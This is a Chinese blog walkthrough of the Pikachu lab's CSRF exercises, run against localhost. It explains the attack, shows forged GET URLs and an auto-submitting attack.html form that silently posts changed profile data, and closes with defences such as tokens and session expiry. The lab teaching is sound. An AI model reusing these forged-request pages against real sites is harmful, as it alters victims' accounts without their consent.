当前位置:网站首页>ctf-pikachu-CSRF
ctf-pikachu-CSRF
2022-07-04 03:33:00 【过动猿】
CSRF(跨站请求伪造,cross-site request forgery)
原理:攻击者伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户点击,用户一旦点击了这个请求,整个攻击就完成了。所以也称之为“one-click”攻击。
攻击成功前提:
1. 网站没有对某些请求做防CSRF攻击处理,导致该请求易被伪造。
2. 用户在登陆后台的情况下,点击了伪造的链接
CSRF与XSS区别:
XSS:直接使用目标用户的权限进行攻击(比如盗取cookie,然后直接顺利登录目标用户后台进行修改信息)。
CSRF:借用目标用户的权限进行攻击(比如伪造链接,但需要目标用户点击才能进行修改信息)。
总结:XSS一般可以拿到用户权限;CSRF没有拿到用户权限。一般而言这两个攻击没有太大关联性,但易混淆。
如何确定存在CSRF漏洞:
1. 对目标网站增删改的地方进行标记,并观察其逻辑,判断请求是否可以被伪造。
--比如修改管理员账号时,并不需要验证旧密码,导致请求容易被伪造。
--比如对于敏感信息的修改并没有使用安全的token验证,导致请求容易被伪造。
2. 确认凭证的有效期(这个问题会提高CSRF被利用的概率)
--虽然退出或者关闭了浏览器,但cookie仍然有效,或者session并没有及时过期,导致CSRF攻击变得简单
1.CSRF(get)
攻击者:allen
受害者:lucy
为了修改lucy的个人信息,allen首先需要在网站上注册一个账号。
–pikachu平台上已经有了几个账号,我们直接登录allen的后台即可。登录allen后台后,点击修改个人信息,将住址改为shanxi,点击submit。(注意点击的时候需要打开burpsuite)
此时打开burpsuite进行抓包,打开Proxy模块的HTTP history,发现刚才进行修改的数据包已经被抓到。
我们将该数据包复制下来,发现该数据包中并没有存在token等字段,因此我们判断该网页并没有使用安全的token验证,因此存在CSRF漏洞。
将数据包伪造完整:
http://127.0.0.1/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=13676767767&add=shanxi&email=allen%40pikachu.com&submit=submit
将这个数据包发送给已经登录后台的lucy,诱使其点击。
发现lucy的个人信息已经完全修改为allen指定的信息了。
2.CSRF(post)
需要自己构造一个站点,然后在网页中设计一个表单,再诱使lucy点击。
攻击者:allen
受害者:lucy
- 构造恶意网页attack.html
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://127.0.0.1/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="123456789" />
<input id="add" type="text" name="add" value="hubei" />
<input id="email" type="text" name="email" value="[email protected]" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
————————————————
版权声明:本文为CSDN博主「witwitwiter」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/witwitwiter/article/details/115835156
将恶意网页发给登录态的lucy,并诱使其点击。
http://127.0.0.1/pikachu-master/vul/csrf/csrfpost/attack.html
攻击成功
3.CSRF(token)
token是如何防止CSRF的:因为CSRF的主要问题在于敏感操作的链接容易被伪造,而token会使得链接不易被伪造。
具体方法:
每次请求,都增加一个随机码(需要足够随机,不易被伪造),后台每次对这个随机码进行验证。该随机码称为token。因为该随机码不易被构造出来,因此请求也就不易被伪造了。
攻击者:allen
受害者:lucy
登录攻击者后台,修改信息,抓包并伪造。
发现url中含token,我们还按照之前的方法构造恶意url。并诱使登录态的lucy点击。
http://127.0.0.1/pikachu-master/vul/csrf/csrftoken/token_get_edit.php?sex=boy&phonenum=13676767767&add=hunan&email=allen%40pikachu.com&token=8736162bbc554bfcf4687190416&submit=submit
发现攻击失败,得到的错误信息为token值不相等。
总结
CSRF漏洞的根本原因在于:请求容易被伪造。
防范措施:
1. 增加token验证(常用的做法):对关键操作增加token参数,token值必须随机,每次都不一样
2. 关于安全的会话管理(避免会话被利用):
(1)不要在客户端保存敏感信息(比如身份认证信息)
(2)测试直接关闭,退出时,会话的过期机制
(3)设置会话过期机制,比如15分钟内误操作,则自动登录超时。
3. 访问控制安全管理:
(1)敏感信息的修改时需要对身份进行二次认证,比如修改账号时,需要判断旧密码。
(2)敏感信息的修改用post,而不是get
(3)通过http头部中的referer来限制原页面
4. 增加验证码:一般用在登录(防暴力破解),也可以用在其他重要信息操作的表单中(需要考虑可用性)
边栏推荐
- Zigzag scan
- JS object definition
- [Wu Enda deep learning] beginner learning record 3 (regularization / error reduction)
- Nbear introduction and use diagram
- Objective-C description method and type method
- JVM family -- heap analysis
- This function has none of DETERMINISTIC, NO SQL..... (you *might* want to use the less safe log_bin_t
- Constantly changing harmonyos custom JS components during the Spring Festival - Smart Koi
- Contest3145 - the 37th game of 2021 freshman individual training match_ F: Smallest ball
- 2006 translation
猜你喜欢
MySQL is dirty
1day vulnerability pushback skills practice (3)
Monitoring - Prometheus introduction
Backpropagation formula derivation [Li Hongyi deep learning version]
AAAI2022 | Word Embeddings via Causal Inference: Gender Bias Reducing and Semantic Information Preserving
@Scheduled scheduled tasks
Why is it recommended that technologists write blogs?
Add token validation in swagger
What is the difference between enterprise wechat applet and wechat applet
1289_FreeRTOS中vTaskSuspend()接口实现分析
随机推荐
Es network layer
Base d'apprentissage de la machine: sélection de fonctionnalités avec lasso
warning: LF will be replaced by CRLF in XXXXXX
微信公众号网页授权
Li Chuang EDA learning notes 13: electrical network for drawing schematic diagram
Osnabrueck University | overview of specific architectures in the field of reinforcement learning
The difference between MCU serial communication and parallel communication and the understanding of UART
Contest3145 - the 37th game of 2021 freshman individual training match_ F: Smallest ball
logistic regression
Formulaire day05
1289_FreeRTOS中vTaskSuspend()接口实现分析
Résumé des outils communs et des points techniques de l'examen PMP
New year's first race, submit bug reward more!
Li Chuang EDA learning notes IX: layers
National standard gb28181 protocol platform easygbs fails to start after replacing MySQL database. How to deal with it?
Explain AI accelerator in detail: why is this the golden age of AI accelerator?
Fudan released its first review paper on the construction and application of multimodal knowledge atlas, comprehensively describing the existing mmkg technology system and progress
Short math guide for latex by Michael downs
深入浅出对话系统——使用Transformer进行文本分类
Have you entered the workplace since the first 00???